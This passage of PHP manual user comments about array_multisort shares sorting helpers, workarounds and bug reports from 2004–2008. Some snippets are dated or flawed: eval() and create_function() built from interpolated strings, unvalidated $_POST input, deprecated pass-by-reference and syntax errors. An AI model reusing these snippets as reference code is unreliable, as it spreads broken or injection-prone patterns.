    $_params[] = &$_data;
    call_user_func_array('array_multisort', $_params);
    return $_data;
}
?>
oOo at OoO dot com 10-Nov-2008 12:58
Since the manual doesn't specify so, I want to point out that the SORT_NUMERIC flag does also work correctly if the values are floating point numbers.
Just don't forget to also add the respective SORT_ASC or SORT_DESC flag :)
matt at idizinc dot com 23-Oct-2008 11:47
I looked on some forms for an answer to this simple problem and couldn't find one so I came up with a solution that may help in some situations.

How do you sort an array by a field in that array and resolve numeric ties randomly?

Code:
<?php

foreach($list as $temp_list)
{
   $sort_aux[] = ($temp_list['column_to_sort_by']+(rand(1, 9)/10));
}
array_multisort($sort_aux, SORT_NUMERIC, $list);

?>

Example:

$list[]=array('name'=>'Tom', 'score'=>3);
$list[]=array('name'=>'Sam', 'score'=>3);
$list[]=array('name'=>'Joey', 'score'=>1);

Explanation:
I took an existing example found above that shows how to sort an array by one of it's columns/fields.
I just added: "+(rand(1,9)/10)" To randomly add .1 through .9 to their score to resolve the tie. (Obviously this specific example only works if you're sorting by an integer... so you may need to modify it to suit your needs.)

Hope this helps someone.
isp dot php at spspft dot de 19-Oct-2008 05:44
I would like to report a kind of confusion that arose with the message

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of array_multisort(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file...

from a line like this:

array_multisort (&$keyarr, &$arr );// sort against this keys

This message is not easily switched off by changing the error reporting level because it's produced at parsinig time -- not execution time.

I think this message is misleading because the arguments are passed by reference ANYWAY in array_multisort.

Anybody encountering this message should know that nothing has to be done, except deleting the ampersands (&).
I was tricked by this message because of couse I wanted to have the *sorted* array back. And couldn't find the ini file nor the declaration of array_multisort.
I think in this description of array_multisort the call by reference should be listed in the definition.

Hope this helps someone
seiffs_at_centrum-dot-cz 18-Aug-2008 08:53
There have to be two corrections to the php_multisort($data,$keys)

    // Sort Expression
    $i=0;
    $sort='';  //here
    foreach ($keys as $k){
      if($i>0){$sort.=',';}
      $sort.='$cols[\''.$k['key'].'\']'; //and here
      if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
      if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
      $i++;
    }
php {dot} net [arrt] sebble.com 11-May-2008 02:16
I was requiring a PHP function a sort my array data as part of an SQL interpreter for PHP arrays. This is the code I came up with. and works wonderfully.

I hope this helps somebody. If anyone uses this, let me know what you think, if there are any problems with it...

<?

##                ##
##  PHPMultiSort  ##
##                ##
// Takes:
//        $data,  multidim array
//        $keys,  array(array(key=>col1, sort=>desc), array(key=>col2, type=>numeric))

function php_multisort($data,$keys){

  // List As Columns
  foreach ($data as $key => $row) {
    foreach ($keys as $k){
      $cols[$k['key']][$key] = $row[$k['key']];
    }
  }
  // List original keys
  $idkeys=array_keys($data);
  // Sort Expression
  $i=0;
  foreach ($keys as $k){
    if($i>0){$sort.=',';}
    $sort.='$cols['.$k['key'].']';
    if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
    if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
    $i++;
  }
  $sort.=',$idkeys';
  // Sort Funct
  $sort='array_multisort('.$sort.');';
  eval($sort);
  // Rebuild Full Array
  foreach($idkeys as $idkey){
    $result[$idkey]=$data[$idkey];
  }
  return $result;
}

###############

// Example Data

$_DATA['table1'][] = array("name" => "Sebastian", "age" => 18, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 16, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 10, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 50, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 40, "male" => false);
$_DATA['table1'][] = array("name" => "Sebastian", "age" => 56, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 19, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 24, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 10, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 70, "male" => false);

###############

$res=php_multisort($_DATA['table1'], array(array('key'=>'name'),array('key'=>'age','sort'=>'desc')))
var_dump($res);

/*
array(10) {
  [8]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(10)
    ["male"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(50)
    ["male"]=>
    bool(true)
  }
  [1]=>
  array(3) {
    ["name"]=>
    string(8) "Lawrence"
    ["age"]=>
    int(16)
    ["male"]=>
    bool(true)
  }
  [6]=>
  array(3) {
    ["name"]=>
    string(8...
*/
?>
joopm at hotmail dot com 10-Apr-2008 04:50
@ scott at bartoncomputer dot com

You could also reference the array (if you wanted the original array in the object sorted):

array_multisort($position, SORT_DESC, &$clsVar->data);

Regards, Chr.
glenn at freebsd dot nl 29-Nov-2007 10:49
To sort a nested array by column (key/index):

Example: two entries in the nested array:

firstarray[0]['adres'] = "adres1"
firstarray[0]['email'] = "email2"

firstarray[1]['adres'] = "adres2"
firstarray[1]['email'] = "email1"

-----------------------------------------

Without code: output would put adres1/email2 on top

-----------------------------------------

foreach($firstarray as $sortarray)
{
$column[] = $sortarray['email'];
array_multisort($column, SORT_ASC, $firstarray);
}

-----------------------------------------

With code: output would put adres2/email1 on top
scott at bartoncomputer dot com 03-May-2007 10:18
I didn't see this noted anywhere, so I figured I'd put in a little comment regarding arrays located inside classes. For instance:

class abc
{
   var $data;
}

The following code does not act as expected:

$clsVar =& new abc();

foreach ($clsVar->data as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $clsVar->data);

While I realize this could much easily be acheived using ksort(), this is merely a much more simple example of this behaviour. The exerpt above comes from a much more complicated sort using multi-scripted arrays.

Anyway the only way I could find to get around the behaviour of multisort not sorting the referenced class-array was to make a copy of it as below:

$clsVar =& new abc();
$newData = $clsVar->data;

foreach ($newData as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $newData);

Now newData will contain the sorted array as expected.

Hopefully this helps someone else!
10-Apr-2007 03:01
<?php

    $strDeger = 'aaaa|bbbb|cccc';

    $arrBol = explode('|',$strDeger);

    array_multisort($arrBol, SORT_DESC);

    for($i = 0; $i <= count($arrBol); $i++) {

        echo $arrBol[$i].'<br />';

    }

?>
vermon7 27-Feb-2007 01:23
When using array_multisort() on copies of arrays, it is changing all the copies, even if you modify the copy before using array_multisort().

I've avoided this bug by serializing a copy of array before calling array_multisort, and unserializg it after array_multisort() Look at the code:

<?php

$records_copy = serialize($records) ;
array_multisort ( $records[$sort_field] , $records[$sort2_field] ) ;
$records_copy = unserialize($records_copy) ;

?>
Jon L. -- intel352 [AT] gmail [DOT] com 26-Feb-2007 08:27
This is my solution for a dynamic multisort, using POST values. This doesn't account for a need to sort by multiple columns at once, but could be modified for that purpose.

<?php
    /**
    * @desc You really should validate the posted sort direction against a list of valid possibilities.
    *         Options are SORT_ASC, SORT_DESC, etc, as shown in the documentation for array_multisort
    */
    $sort['direction'] = $_POST['sort_direction'] ? $_POST['sort_direction'] : 'SORT_ASC';
    $sort['field']       = $_POST['sort_field'] ? $_POST['sort_field'] : 'value';

    $array_to_sort = array();
    $array_to_sort['TestCase1'] = array('name'=>'Test1','value'=>'218');
    $array_to_sort['TestCase2'] = array('name'=>'Test2','value'=>'10');
    $array_to_sort['TestCase3'] = array('name'=>'Test3','value'=>'64');

    /**
    * @desc Build columns using the values, for sorting in php
    */
    $sort_arr = array();
    foreach($array_to_sort AS $uniqid => $row){
        foreach($row AS $key=>$value){
            $sort_arr[$key][$uniqid] = $value;
        }
    }

    print '<b>Before sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

    if($sort['direction']){
        array_multisort($sort_arr[$sort['field']], constant($sort['direction']), $array_to_sort);
    }

    print '<b>After sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

?>

This example prints out:

Before sorting:

Array
(
    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

)

After sorting:

Array
(
    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

)
01-Dec-2006 06:58
casting the parameter arrays for array_multisort seem to make the sorting ineffective?

for example:-
<?
        foreach((array)$report_files as $report_files_i)
        {
            $file_stat = stat($report_files_i);
            $report_files_x[] = array(
                'filename'      => $report_files_i
                ,'basename'     => basename($report_files_i)
                ,'ctime'        => date("D, M j, Y",$file_stat['ctime'])
                ,'size'         => $file_stat['size']
                );

            $basename_i[] = strtolower(basename($report_files_i)); // case insensitive

        }
        array_multisort($basename_i, SORT_ASC, $report_files_x);
?>
The above works but if you change the last time to :-
<?
        array_multisort((array)$basename_i, SORT_ASC, (array)$report_files_x);
?>
...adding the (array) cast doesn't sort the main array ...
brettz9 throu gh yah 14-Sep-2006 12:04
Often, one may have a group of arrays which have parallel data that need to be kept associated with each other (e.g., the various attribute values of a group of elements might be stored in their own arrays). Using array_multisort as is, by specifying additional fields, it is possible, as in the documentation example cited below, that this association will be lost.

To take this example set of data from the documentation:
<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
?>

The example goes on to sort it this way:
<?php
array_multisort($ar1, $ar2);
?>

In this case, although the "10" remains associated with the first '1' after being sorted, the "2" and '3' are reversed from their original order.

In order to sort by one field only (yet still have the other array(s) being correspondingly sorted), one can use array_keys (which makes an array out of the keys) to ensure that no further sub-sorting is performed. This works because array_keys is making an array for which no duplicates can exist (since keys will be unique), and thus, the subsequent fields will have no relevance as far as subsorting.

So, using the above data, we can perform this sort instead:
<?php
$ar3 = array_keys($ar1);
array_multisort($ar1, $ar3, $ar2);
?>

which, when $ar1 and $ar2 are dumped gives:

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=>  int(1)
  [1]=>  int(1)
  [2]=>  int(3)
  [3]=>  string(1) "2"
}
ricardo 04-Sep-2006 05:47
Hi,

Modded the function from KES,
goals:
- Object oriented
- string comparision using naturalordening

code:
<?
class HtmlTable{
    var $sortorder;
    var $rows;

//row adding stuf and constructor removed

    function sort($sortorder){
        if(is_array($sortorder)){
            $this->sortorder=$sortorder;
            usort($this->rows,array(&$this,'sort_compare'));
        }
    }
    function sort_compare($a,$b){//sort function
        $result=0;
        foreach($this->sortorder as $key=>$value){
            $result=strnatcmp($a[$key],$b[$key]);
            if($result==0)continue;
            if($value=='desc')$result=$result*-1;
            break;
        }
        return $result;
    }
}
?>
LPChip 28-Aug-2006 06:04
I was looking for a way to dynamically multisort my array.

By dynamically I mean that its not static what column will be sorted and if its ASC or DESC, and the ability to have more than one sorts.

This is the way a database would allow you to do.

The best way to dynamically do this, is by using eval.

The code below is partly what I used. (eg, I left out where the arrays were made and stuff, but the important part is here.)

<?

$orderby_arr = array("col1 ASC";"col2 DESC");

// prepare multisort using eval
        $eval_sort  = "array_multisort(";

        if ($orderby !="") {

            $orderby_arr_c = count($orderby_arr);

            for ($orderby_walk=0; $orderby_walk < $orderby_arr_c; $orderby_walk++) {
                $pos = strpos($orderby_arr[$orderby_walk], " ");
                $orderby_col = substr($orderby_arr[$orderby_walk], 0, $pos);
                $orderby_type = substr($orderby_arr[$orderby_walk], $pos+1);

                $eval_sort .= "\$this->OrderBy[$orderby_col]" . ", SORT_$orderby_type,";
            }
        }

        $eval_sort .= " \$this->Current_Query);";

        // if there's an array, sort it.
        if ($this->Current_Query_m != -1) eval($eval_sort);
?>
RQuadling at GMail dot com 07-Aug-2006 05:53
Extending KES's example (http://www.php.net/manual/en/function.array-multisort.php#68452) to look like array_multisort().

NOTE: Fully commented code is available at http://rquadling.php1h.com (sorry for the ads).

The syntax is the same as array_multisort().

You also have 3 additional parameters you can use:

AMC_SORT_STRING_CASELESS to sort the strings case insensitively.
AMC_LOSE_ASSOCIATION (the default behaviour) to lose the associations for the array.
AMC_KEEP_ASSOCIATION to keep the associations for the array.

Other than that, these function work together JUST like array_multisort but sorts using column(s) without the need to first extract the columns into individual arrays.

<?php
define ('AMC_SORT_STRING_CASELESS', SORT_STRING + 1);
define ('AMC_LOSE_ASSOCIATION', 1001);
define ('AMC_KEEP_ASSOCIATION', 1002);
define ('AMC_SORT_ORDER', 1003);
define ('AMC_SORT_TYPE', 1004);

function array_multisort_column(array &$a_data, $m_mixed1)
    {
    $a_Args = func_get_args();
    $i_Args = func_num_args();
    $GLOBALS['a_AMC_ordering'] = array();
    $a_Columns = array_keys(reset($a_data));
    $b_KeepAssociation = False;
    for($i_Arg = 1 ; $i_Arg < $i_Args ; )
        {
        if (in_array($a_Args[$i_Arg], $a_Columns))
            {
            $s_Column = $a_Args[$i_Arg];
            $GLOBALS['a_AMC_ordering'][$a_Args[$i_Arg]] = array
                (
                AMC_SORT_ORDER => SORT_ASC,
                AMC_SORT_TYPE => SORT_REGULAR,
                );
            while
                (
                isset($a_Args[$i_Arg + 1]) &&
                in_array
                    (
                    $a_Args[$i_Arg + 1],
                    array
                        (
                        AMC_KEEP_ASSOCIATION,
                        AMC_LOSE_ASSOCIATION,
                        AMC_SORT_STRING_CASELESS,
                        SORT_ASC,
                        SORT_DESC
                        SORT_NUMERIC,
                        SORT_REGULAR,
                        SORT_STRING,
                        ),
                    True
                    )
                )
                {
                if (in_array($a_Args[$i_Arg + 1], array(SORT_ASC, SORT_DESC), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_ORDER] = $a_Args[$i_Arg + 1];
                    }
                elseif (in_array($a_Args[$i_Arg + 1], array(SORT_REGULAR, SORT_NUMERIC, SORT_STRING, AMC_SORT_STRING_CASELESS), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_TYPE] = $a_Args[$i_Arg + 1];
                    }
                elseif (AMC_KEEP_ASSOCIATION == $a_Args[$i_Arg + 1])
                    {
                    $b_KeepAssociation = True;
                    }
                ++$i_Arg;
                }
            }
        ++$i_Arg;
        }
    $s_Sorter = ($b_KeepAssociation ? 'uasort' : 'usort');
    $b_Result = $s_Sorter($a_data, 'array_multisort_column_cmp');
    unset($GLOBALS['a_AMC_ordering']);
    return $b_Result;
    }

function array_multisort_column_cmp(array &$a_left, array &$a_right)
    {
    $i_Result = 0;
    foreach($GLOBALS['a_AMC_ordering'] as $s_Column => $a_ColumnData)
        {
        switch ($a_ColumnData[AMC_SORT_TYPE])
            {
            case SORT_NUMERIC :
                $i_ColumnCompareResult =
                    ((intval($a_left[$s_Column]) == intval($a_right[$s_Column]))
                    ?
                        0
                    :
                        ((intval($a_left[$s_Column]) < intval($a_right[$s_Column]))
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            case SORT_STRING :
                $i_ColumnCompareResult = strcmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case AMC_SORT_STRING_CASELESS :
                $i_ColumnCompareResult = strcasecmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case SORT_REGULAR :
            default :
                $i_ColumnCompareResult =
                    (($a_left[$s_Column] == $a_right[$s_Column])
                    ?
                        0
                    :
                        (($a_left[$s_Column] < $a_right[$s_Column])
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            }
        if (0 == $i_ColumnCompareResult)
            {
            continue;
            }
        $i_Result = $i_ColumnCompareResult * (($a_ColumnData[AMC_SORT_ORDER] == SORT_DESC) ? -1 : 1);
        break;
        }
    return $i_Result;
    }
?>
KES http://kes.net.ua 27-Jul-2006 05:30
<?
//sort by second column then first one
$orderBy=array('0'=>'desc', 'first'=>'asc');

function KES_cmp($a, $b) {
  global $orderBy;
  $result= 0;
  foreach( $orderBy as $key => $value ) {
    if( $a[$key] == $b[$key] ) continue;
    $result= ($a[$key] < $b[$key])? -1 : 1;
    if( $value=='desc' ) $result= -$result;
    break;
    }
  return $result;
  }

$result= array();
$result[]= array( 'first'=>6, 2);
$result[]= array( 'first'=>3, 2);
$result[]= array( 'first'=>1, 3);
$result[]= array( 'first'=>1, 2);
$result[]= array( 'first'=>6, 1);

print "<b>Source</b>";
print_r($result);

usort($result, 'KES_cmp');
print "<b>Result</b>";
print_r($result);
?>
KES 27-Jul-2006 04:35
It is very handy to have function, which sort like this:

$arrayToSort[]= array(0 => ".",               "type" => "dir");
$arrayToSort[]= array(0 => "qf",              "type" => "file");
$arrayToSort[]= array(0 => "..",              "type" => "dir");
$arrayToSort[]= array(0 => "text.txt",      "type" => "file");
$arrayToSort[]= array(0 => "hello",          "type" => "dir");

//first sort by the column 'type', then sort by the column '0'
$howToSort= array('type'=> 'asc', 0=> 'desc');

multisort($arrayToSort, $howToSort);

The result:
0           |       type
----------------------------
.           | dir
..           | dir
hello       | dir
text.txt    | file
qf          | file
scott - evolove - net - work it out 22-Mar-2006 07:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
    [0] => Array
        (
            [blahblah] => blahblah
            [distance] => 6
        )

    [1] => Array
        (
          you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
    $adist = intval($a['distance']);
    $bdist = intval($b['distance']);

    if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
peter dot graham at tcat dot ac dot uk 16-Feb-2006 07:16
Many thanks to ?AlberT at SuperAlberT dot it? for his useful and elegant function. I have made some small alterations so it doesn?t use pass-by-reference as this throws up warnings in newer versions of php4.

<?php

function array_key_multi_sort($arr, $l , $f='strnatcasecmp')
{
    usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
    return($arr);
}

?>
mail at theopensource dot com 31-Jan-2006 11:34
I wanted to share with you a function that I created to make the array_multisort process much easier for myself... There was some interesting things that I encountered and I will post that in the comments.

I created this function so that all I have to do is tell it what column I want to sort through in a one level deep multidimensional array.  You can Try this code in your browser to view the results

ex/
<?php

//Here is an array example
$test[0]['name'] = "David";
$test[0]['age'] = 28;
$test[1]['name'] = "Dennis";
$test[1]['age'] = 23;
$test[2]['name'] = "Joseph";
$test[2]['age'] = 42;

//Here is the Function

function sortmddata($array, $by, $order, $type){

//$array: the array you want to sort
//$by: the associative array name that is one level deep
////example: name
//$order: ASC or DESC
//$type: num or str

$sortby = "sort$by"; //This sets up what you are sorting by

$firstval = current($array); //Pulls over the first array

$vals = array_keys($firstval); //Grabs the associate Arrays

foreach ($vals as $init){
    $keyname = "sort$init";
    $$keyname = array();
}
//This was strange because I had problems adding
//Multiple arrays into a variable variable
//I got it to work by initializing the variable variables as arrays
//Before I went any further

foreach ($array as $key => $row) {

foreach ($vals as $names){
    $keyname = "sort$names";
    $test = array();
    $test[$key] = $row[$names];
    $$keyname = array_merge($$keyname,$test);

}

}

//This will create dynamic mini arrays so that I can perform
//the array multisort with no problem
//Notice the temp array... I had to do that because I
//cannot assign additional array elements to a
//varaiable variable

if ($order == "DESC"){
if ($type == "num"){
array_multisort($$sortby,SORT_DESC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_DESC, SORT_STRING,$array);
}
} else {
if ($type == "num"){
array_multisort($$sortby,SORT_ASC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_ASC, SORT_STRING,$array);
}
}

//This just goed through and asks the additional arguments
//What they are doing and are doing variations of
//the multisort

return $array;
}

//Now to test it

$test = sortmddata($test,'age','ASC','num');

print_r ($test);

//This will return
//Array (
//[0] => Array ([name] => Dennis [age] => 23 )
//[1] => Array ( [name] => David [age] => 28 )
//[2] => Array ( [name] => Joseph [age] => 42 )
//)

?>

There you go... please let me know what you think if you like.
php a-t-the-r-a-t-e chir.ag 05-Jan-2006 02:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
    $n = func_num_args();
    $ar = func_get_arg($n-1);
    if(!is_array($ar))
      return false;

    for($i = 0; $i < $n-1; $i++)
      $col[$i] = func_get_arg($i);

    foreach($ar as $key => $val)
      foreach($col as $kkey => $vval)
        if(is_string($vval))
          ${"subar$kkey"}[$key] = $val[$vval];

    $arv = array();
    foreach($col as $key => $val)
      $arv[] = (is_string($val) ? ${"subar$key"} : $val);
    $arv[] = $ar;

    call_user_func_array("array_multisort", $arv);
    return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

)

Output from arrayColumnSort:

Array
(
    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

)
phu at kungphu 19-Dec-2005 11:36
Notepad's example using asort/arsort will -not- work unless 'points' is defined -before- 'name'.

Running the posted code sorts by 'name', which was not the point of the previous posts.  Defining 'points' as 'apoints' also did not work; however, defining 'points' first yields correct sorting:

$test[0]['points']=1;
$test[0]['name']='Peter';

$test[1]['points']=5;
$test[1]['name']='Mike';

$test[2]['points']=2;
$test[2]['name']='John';

asort($test);

It appears asort uses the first defined element to sort a multidimensional array.
Shmee 30-Sep-2005 06:46
RWC?s code works very well until you get a ?point? value greater then ten.  This is because the strcmp() function will return that 2 > 10 and 2 > 11 ? 2 > 19 and so on. To compare number values over ten try a sort like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     if ($a[$key]>$b[$key]){
         $varcmp = "1";
         return $varcmp;
     }
     elseif ($a[$key]<$b[$key]){
         $varcmp = "-1";
         return $varcmp;
     }
     elseif ($a[$key]==$b[$key]){
         $varcmp = "0";
         return $varcmp;
     }
  }
  usort($array, "compare");
  return $array;
}
RWC 25-Sep-2005 01:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
AlberT at SuperAlberT dot it 18-Jul-2005 06:59
a nice piece of code to do an "array_key_multi_sort()" is the following:

<?php
/**
 * orders a multidimentional array on the base of a label-key
 *
 * @param $arr, the array to be ordered
 * @param $l the "label" identifing the field
 * @param $f the ordering function to be used,
 *    strnatcasecmp() by default
 * @return  TRUE on success, FALSE on failure.
 */
function array_key_multi_sort(&$arr, $l , $f='strnatcasecmp') {
        return usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
}
?>
kencomer at kencomer dot com 12-Jun-2005 11:48
If your data is in an associative array that you would need to separate into columns such as those retrieved with your favorite flavor of _fetch_array() in order to be able to use multisort(), you should consider using uasort() or usort() as an alternative. Here is an example of how this could be beneficial:

(key is employee number which remains intact; rows are sorted by surname, firstname)

<?php
function namecmp( $row1,$row2 )
{
    $first = strcmp($row1['surname'], $row2['surname']) ;
    if ( $first )
        return $first ;
    else
        return strcmp($row1['name'], $row2['name']) ;
}

      $test = array( '11122202' => array('empno'=>11122202,'name'=>'geezer'
                ,'surname'=>'schmidt','age'=>96,'sex'=>'male')
            ,'11122204' => array('empno'=>11122204,'name'=>'coed'
                ,'surname'=>'beaujolais','age'=>18,'sex'=>'female')
            ,'11122206' => array('empno'=>11122206,'name'=>'immortal'
                ,'surname'=>'ramos','age'=>21,'sex'=>'male')
            ,'11122208' => array('empno'=>11122208,'name'=>'babyface'
                ,'surname'=>'brown','age'=>1,'sex'=>'male')
            ,'11122210' => array('empno'=>11122210,'name'=>'exjock'
                ,'surname'=>'gatti','age'=>48,'sex'=>'male')
            ,'11122212' => array('empno'=>11122212,'name'=>'jailbait'
                ,'surname'=>'muhammed','age'=>15,'sex'=>'female') )
            ;
echo "<pre>" ;
print_r( $test ) ;
uasort($test,'namecmp') ;
echo "----sorting----<br \>";
print_r( $test ) ;
echo "</pre>" ;

?>

Array
(
    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

)
----sorting----
Array
(
    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

)
stevec at NO-/ dot /-SPAM dot qiguang dot net 13-Apr-2005 08:19
Be careful when using array_multisort() on copies of arrays, as you might end up changing the original array.  Given the following code:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

You would expect:

test1:Array
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

However, if you run the code, you actually get:

test1:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

Note that the original ($test1) ends up being sorted even though it was never called by array_multisort().  To work around this, insert a statement to modify the copy ($test2) before calling array_multisort() on it.  The following code will produce the expected "correct" results:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    $test2[0] = $test2[0];                // fix
    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

This seems to be a resurrection of the closed bug #8130.  Also, someone reported this behavior in bug #32031, but it was incorrectly labeled "bogus" in reference to bug #25359, which is a different issue.
joao at intrasystems dot com dot br 07-Apr-2005 12:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
    [0] => Array
        (
            [nome] => Pedro
            [order] => 1
        )

    [1] => Array
        (
            [nome] => Marcelo
            [order] => 3
        )

    [2] => Array
        (
            [nome] => Joao
            [order] => 5
        )

)
Toni 10-Nov-2004 03:30
An example to sort an array by 3 criteria:

$recordset is an array of results from a query to a database, that I sort using $matrix as auxiliary array. First numeric, Second and Third alphabetically.

<?php
for($idx=0;$idx<$toShow;$idx++){
    $matrix[0][$id]=$recordset[$id][0];
    $matrix[1][$id]=$recordset[$id][1];
    $matrix[2][$id]=$recordset[$id][10];
}

array_multisort($matrix[0], SORT_DESC, SORT_NUMERIC,$matrix[1], SORT_STRING, SORT_ASC,$matrix[2], SORT_STRING, SORT_ASC);
?>
